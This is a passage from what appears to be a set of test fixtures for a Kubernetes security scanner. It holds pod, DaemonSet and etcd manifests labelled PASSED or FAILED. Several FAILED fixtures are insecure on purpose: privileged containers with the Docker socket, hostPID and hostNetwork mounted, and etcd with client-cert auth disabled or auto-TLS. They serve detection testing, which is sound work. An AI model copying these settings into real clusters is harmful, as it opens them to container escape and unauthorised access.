"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope namespace: weave - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: weave-scope annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope rules: - apiGroups: - '' resources: - pods verbs: - get - list - watch - delete - apiGroups: - '' resources: - pods/log - services - nodes - namespaces - persistentvolumes - persistentvolumeclaims verbs: - get - list - watch - apiGroups: - apps resources: - deployments - daemonsets - statefulsets verbs: - get - list - watch - apiGroups: - batch resources: - cronjobs - jobs verbs: - get - list - watch - apiGroups: - extensions resources: - deployments - daemonsets verbs: - get - list - watch - apiGroups: - apps resources: - deployments/scale verbs: - get - update - apiGroups: - extensions resources: - deployments/scale verbs: - get - update - apiGroups: - storage.k8s.io resources: - storageclasses verbs: - get - list - watch - apiGroups: - volumesnapshot.external-storage.k8s.io resources: - volumesnapshots - volumesnapshotdatas verbs: - list - watch - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: weave-scope annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope roleRef: kind: ClusterRole name: weave-scope apiGroup: rbac.authorization.k8s.io subjects: - kind: ServiceAccount name: weave-scope namespace: weave - apiVersion: apps/v1 kind: Deployment metadata: name: weave-scope-app annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app namespace: weave spec: replicas: 1 revisionHistoryLimit: 2 selector: matchLabels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app template: metadata: labels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app spec: containers: - name: app args: - '--mode=app' command: - /home/weave/scope env: [] image: 'docker.io/weaveworks/scope:1.13.0' imagePullPolicy: IfNotPresent ports: - containerPort: 4040 protocol: TCP - apiVersion: v1 kind: Service metadata: name: weave-scope-app annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app namespace: weave spec: ports: - name: app port: 80 protocol: TCP targetPort: 4040 selector: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app - apiVersion: apps/v1 kind: Deployment metadata: name: weave-scope-cluster-agent annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-cluster-agent app: weave-scope weave-cloud-component: scope weave-scope-component: cluster-agent namespace: weave spec: replicas: 1 revisionHistoryLimit: 2 selector: matchLabels: name: weave-scope-cluster-agent app: weave-scope weave-cloud-component: scope weave-scope-component: cluster-agent template: metadata: labels: name: weave-scope-cluster-agent app: weave-scope weave-cloud-component: scope weave-scope-component: cluster-agent spec: containers: - name: scope-cluster-agent args: - '--mode=probe' - '--probe-only' - '--probe.kubernetes.role=cluster' - '--probe.http.listen=:4041' - '--probe.publish.interval=4500ms' - '--probe.spy.interval=2s' - 'weave-scope-app.weave.svc.cluster.local:80' command: - /home/weave/scope env: [] image: 'docker.io/weaveworks/scope:1.13.0' imagePullPolicy: IfNotPresent ports: - containerPort: 4041 protocol: TCP resources: requests: cpu: 25m memory: 80Mi serviceAccountName: weave-scope - apiVersion: apps/v1 kind: DaemonSet metadata: name: weave-scope-agent annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-agent app: weave-scope weave-cloud-component: scope weave-scope-component: agent namespace: weave spec: minReadySeconds: 5 selector: matchLabels: name: weave-scope-agent app: weave-scope weave-cloud-component: scope weave-scope-component: agent template: metadata: labels: name: weave-scope-agent app: weave-scope weave-cloud-component: scope weave-scope-component: agent spec: containers: - name: scope-agent args: - '--mode=probe' - '--probe-only' - '--probe.kubernetes.role=host' - '--probe.publish.interval=4500ms' - '--probe.spy.interval=2s' - '--probe.docker.bridge=docker0' - '--probe.docker=true' - 'weave-scope-app.weave.svc.cluster.local:80' command: - /home/weave/scope env: [] image: 'docker.io/weaveworks/scope:1.13.0' imagePullPolicy: IfNotPresent resources: requests: cpu: 100m memory: 100Mi securityContext: privileged: true volumeMounts: - name: scope-plugins mountPath: /var/run/scope/plugins - name: sys-kernel-debug mountPath: /sys/kernel/debug - name: docker-socket mountPath: /var/run/docker.sock dnsPolicy: ClusterFirstWithHostNet hostNetwork: true hostPID: true tolerations: - effect: NoSchedule operator: Exists - effect: NoExecute operator: Exists volumes: - name: scope-plugins hostPath: path: /var/run/scope/plugins - name: sys-kernel-debug hostPath: path: /sys/kernel/debug - name: docker-socket hostPath: path: /var/run/docker.sock updateStrategy: type: RollingUpdate - null # shouldn't crash ================================================ FILE: tests/kubernetes/checks/example_DockerSocketVolume/scope-UNKNOWN.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: name: nginx-pod name: nginx-pod spec: containers: image: "gcr.io/google_containers/nginx-slim:0.8" name: nginx-pod ports: containerPort: 80 name: web securityContext: privileged: true volumeMounts: mountPath: /usr/share/nginx/html name: achia-vol volumes: name: achia-vol persistentVolumeClaim: claimName: claim1 ================================================ FILE: tests/kubernetes/checks/example_DropCapabilities/pod-drop-NET_RAW-capabilities-FAILED-MISSING.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: pod-drop-net-raw-capability spec: containers: - name: main image: fedora command: ["/bin/sleep", "999999"] securityContext: capabilities: # kubectl exec -it pod-drop-net-raw-capability -- bash # dnf -y install libcap-ng-utils # pscap ### Notice no net_raw capability ================================================ FILE: tests/kubernetes/checks/example_DropCapabilities/pod-drop-NET_RAW-capabilities-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: pod-drop-net-raw-capability spec: containers: - name: main image: fedora command: ["/bin/sleep", "999999"] securityContext: capabilities: drop: - NET_RAW # kubectl exec -it pod-drop-net-raw-capability -- bash # dnf -y install libcap-ng-utils # pscap ### Notice no net_raw capability ================================================ FILE: tests/kubernetes/checks/example_DropCapabilities/pod-drop-all-capabilities-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: pod-drop-all-capability spec: containers: - name: main image: fedora command: ["/bin/sleep", "999999"] securityContext: capabilities: drop: - ALL # kubectl exec -it pod-drop-all-capability -- bash # dnf -y install libcap-ng-utils ### You'll see with drop all you can't do this! ================================================ FILE: tests/kubernetes/checks/example_DropCapabilities/pod-drop-all-capabilities-PASSED2.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: pod-drop-all-capability spec: containers: - name: main image: fedora command: ["/bin/sleep", "999999"] securityContext: capabilities: drop: - all # kubectl exec -it pod-drop-all-capability -- bash # dnf -y install libcap-ng-utils ### You'll see with drop all you can't do this! ================================================ FILE: tests/kubernetes/checks/example_DropCapabilities/pod-drop-none-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: pod-drop-none spec: containers: - name: main image: fedora command: ["/bin/sleep", "999999"] # kubectl exec -it pod-drop-none -- bash # dnf -y install libcap-ng-utils # pscap ## Notice net_raw capability ================================================ FILE: tests/kubernetes/checks/example_EtcdAutoTls/Etcd-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: annotations: scheduler.alpha.kubernetes.io/critical-pod: "" creationTimestamp: null labels: component: etcd tier: control-plane name: etcd-enabled namespace: kube-system spec: containers: - command: - etcd - --auto-tls=true image: k8s.gcr.io/etcd-amd64:3.2.18 imagePullPolicy: IfNotPresent livenessProbe: exec: command: - /bin/sh - -ec - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key get foo failureThreshold: 8 initialDelaySeconds: 15 timeoutSeconds: 15 name: etcd-should-fail resources: {} volumeMounts: - mountPath: /var/lib/etcd name: etcd-data - mountPath: /etc/kubernetes/pki/etcd name: etcd-certs hostNetwork: true priorityClassName: system-cluster-critical volumes: - hostPath: path: /var/lib/etcd type: DirectoryOrCreate name: etcd-data - hostPath: path: /etc/kubernetes/pki/etcd type: DirectoryOrCreate name: etcd-certs status: {} ================================================ FILE: tests/kubernetes/checks/example_EtcdAutoTls/Etcd-PASSED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: annotations: scheduler.alpha.kubernetes.io/critical-pod: "" creationTimestamp: null labels: component: etcd tier: control-plane name: etcd-default namespace: kube-system spec: containers: - command: - etcd image: k8s.gcr.io/etcd-amd64:3.2.18 imagePullPolicy: IfNotPresent livenessProbe: exec: command: - /bin/sh - -ec - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key get foo failureThreshold: 8 initialDelaySeconds: 15 timeoutSeconds: 15 name: etcd-should-pass resources: {} volumeMounts: - mountPath: /var/lib/etcd name: etcd-data - mountPath: /etc/kubernetes/pki/etcd name: etcd-certs hostNetwork: true priorityClassName: system-cluster-critical volumes: - hostPath: path: /var/lib/etcd type: DirectoryOrCreate name: etcd-data - hostPath: path: /etc/kubernetes/pki/etcd type: DirectoryOrCreate name: etcd-certs status: {} ================================================ FILE: tests/kubernetes/checks/example_EtcdAutoTls/Etcd-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: annotations: scheduler.alpha.kubernetes.io/critical-pod: "" creationTimestamp: null labels: component: etcd tier: control-plane name: etcd-disabled namespace: kube-system spec: containers: - command: - etcd - --auto-tls=false image: k8s.gcr.io/etcd-amd64:3.2.18 imagePullPolicy: IfNotPresent livenessProbe: exec: command: - /bin/sh - -ec - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key get foo failureThreshold: 8 initialDelaySeconds: 15 timeoutSeconds: 15 name: etcd-should-pass resources: {} volumeMounts: - mountPath: /var/lib/etcd name: etcd-data - mountPath: /etc/kubernetes/pki/etcd name: etcd-certs hostNetwork: true priorityClassName: system-cluster-critical volumes: - hostPath: path: /var/lib/etcd type: DirectoryOrCreate name: etcd-data - hostPath: path: /etc/kubernetes/pki/etcd type: DirectoryOrCreate name: etcd-certs status: {} ================================================ FILE: tests/kubernetes/checks/example_EtcdCertAndKey/Etcd-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: annotations: scheduler.alpha.kubernetes.io/critical-pod: "" creationTimestamp: null labels: component: etcd tier: control-plane name: etcd-missing namespace: kube-system spec: containers: - command: - etcd image: k8s.gcr.io/etcd-amd64:3.2.18 imagePullPolicy: IfNotPresent livenessProbe: exec: command: - /bin/sh - -ec - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key get foo failureThreshold: 8 initialDelaySeconds: 15 timeoutSeconds: 15 name: etcd-should-fail resources: {} volumeMounts: - mountPath: /var/lib/etcd name: etcd-data - mountPath: /etc/kubernetes/pki/etcd name: etcd-certs hostNetwork: true priorityClassName: system-cluster-critical volumes: - hostPath: path: /var/lib/etcd type: DirectoryOrCreate name: etcd-data - hostPath: path: /etc/kubernetes/pki/etcd type: DirectoryOrCreate name: etcd-certs status: {} ================================================ FILE: tests/kubernetes/checks/example_EtcdCertAndKey/Etcd-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: annotations: scheduler.alpha.kubernetes.io/critical-pod: "" creationTimestamp: null labels: component: etcd tier: control-plane name: etcd-no-key namespace: kube-system spec: containers: - command: - etcd - --cert-file=/etc/kubernetes/pki/etcd/server.crt image: k8s.gcr.io/etcd-amd64:3.2.18 imagePullPolicy: IfNotPresent livenessProbe: exec: command: - /bin/sh - -ec - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key get foo failureThreshold: 8 initialDelaySeconds: 15 timeoutSeconds: 15 name: etcd-should-fail resources: {} volumeMounts: - mountPath: /var/lib/etcd name: etcd-data - mountPath: /etc/kubernetes/pki/etcd name: etcd-certs hostNetwork: true priorityClassName: system-cluster-critical volumes: - hostPath: path: /var/lib/etcd type: DirectoryOrCreate name: etcd-data - hostPath: path: /etc/kubernetes/pki/etcd type: DirectoryOrCreate name: etcd-certs status: {} ================================================ FILE: tests/kubernetes/checks/example_EtcdCertAndKey/Etcd-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: annotations: scheduler.alpha.kubernetes.io/critical-pod: "" creationTimestamp: null labels: component: etcd tier: control-plane name: etcd-key-and-cert namespace: kube-system spec: containers: - command: - etcd - --cert-file=/etc/kubernetes/pki/etcd/server.crt - --key-file=/etc/kubernetes/pki/etcd/server.key image: k8s.gcr.io/etcd-amd64:3.2.18 imagePullPolicy: IfNotPresent livenessProbe: exec: command: - /bin/sh - -ec - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key get foo failureThreshold: 8 initialDelaySeconds: 15 timeoutSeconds: 15 name: etcd-should-pass resources: {} volumeMounts: - mountPath: /var/lib/etcd name: etcd-data - mountPath: /etc/kubernetes/pki/etcd name: etcd-certs hostNetwork: true priorityClassName: system-cluster-critical volumes: - hostPath: path: /var/lib/etcd type: DirectoryOrCreate name: etcd-data - hostPath: path: /etc/kubernetes/pki/etcd type: DirectoryOrCreate name: etcd-certs status: {} ================================================ FILE: tests/kubernetes/checks/example_EtcdClientCertAuth/Etcd-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: annotations: scheduler.alpha.kubernetes.io/critical-pod: "" creationTimestamp: null labels: component: etcd tier: control-plane name: etcd-default namespace: kube-system spec: containers: - command: - etcd image: k8s.gcr.io/etcd-amd64:3.2.18 imagePullPolicy: IfNotPresent livenessProbe: exec: command: - /bin/sh - -ec - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key get foo failureThreshold: 8 initialDelaySeconds: 15 timeoutSeconds: 15 name: etcd-should-fail resources: {} volumeMounts: - mountPath: /var/lib/etcd name: etcd-data - mountPath: /etc/kubernetes/pki/etcd name: etcd-certs hostNetwork: true priorityClassName: system-cluster-critical volumes: - hostPath: path: /var/lib/etcd type: DirectoryOrCreate name: etcd-data - hostPath: path: /etc/kubernetes/pki/etcd type: DirectoryOrCreate name: etcd-certs status: {} ================================================ FILE: tests/kubernetes/checks/example_EtcdClientCertAuth/Etcd-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: annotations: scheduler.alpha.kubernetes.io/critical-pod: "" creationTimestamp: null labels: component: etcd tier: control-plane name: etcd-disabled namespace: kube-system spec: containers: - command: - etcd - --client-cert-auth=false image: k8s.gcr.io/etcd-amd64:3.2.18 imagePullPolicy: IfNotPresent livenessProbe: exec: command: - /bin/sh - -ec - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key get foo failureThreshold: 8 initialDelaySeconds: 15 timeoutSeconds: 15 name: etcd-should-fail resources: {} volumeMounts: - mountPath: /var/lib/etcd name: etcd-data - mountPath: /etc/kubernetes/pki/etcd name: etcd-certs hostNetwork: true priorityClassName: system-cluster-critical volumes: - hostPath: path: /var/lib/etcd type: DirectoryOrCreate name: etcd-data - hostPath: path: /etc/kubernetes/pki/etcd type: DirectoryOrCreate name: etcd-certs status: {} ================================================ FILE: tests/kubernetes/checks/example_EtcdClientCertAuth/Etcd-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: annotations: scheduler.alpha.kubernetes.io/critical-pod: "" creationTimestamp: null labels: component: etcd tier: control-plane name: etcd-enabled namespace: kube-system spec: containers: - command: - etcd - --client-cert-auth=true image: k8s.gcr.io/etcd-amd64:3.2.18 imagePullPolicy: IfNotPresent livenessProbe: exec: command: - /bin/sh - -ec - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key get foo failureThreshold: 8 initialDelaySeconds: 15 timeoutSeconds: 15 name: etcd-should-pass resources: {} volumeMounts: - mountPath: /var/lib/etcd name: etcd-data - mountPath: /etc/kubernetes/pki/etcd name: etcd-certs hostNetwork: true priorityClassName: system-cluster-critical volumes: - hostPath: path: /var/lib/etcd type: DirectoryOrCreate name: etcd-data - hostPath: path: /etc/kubernetes/pki/etcd type: DirectoryOrCreate name: etcd-certs status: {} ================================================ FILE: tests/kubernetes/checks/example_EtcdPeerFiles/EtcdPeerFiles-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - etcd - --peer-cert-file=file.pem image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_EtcdPeerFiles/EtcdPeerFiles-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - etcd - --peer-cert-file=file.pem - --peer-key-file=file.key image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_HostPort/DS-node-exporter-FAILED.yaml ================================================ apiVersion: extensions/v1beta1 kind: DaemonSet metadata: name: prometheus-node-exporter namespace: monitoring spec: selector: matchLabels: app: prometheus-node-exporter template: spec: containers: - args: - --path.procfs=/host/proc - --path.sysfs=/host/sys - --web.listen-address=0.0.0.0:9100 - --collector.filesystem.ignored-mount-points=^/(dev|proc|sys|var/lib/docker/.+)($|/) - --collector.filesystem.ignored-fs-types=^(autofs|binfmt_misc|cgroup|configfs|debugfs|devpts|devtmpfs|fusectl|hugetlbfs|mqueue|overlay|proc|procfs|pstore|rpc_pipefs|securityfs|sysfs|tracefs)$ image: 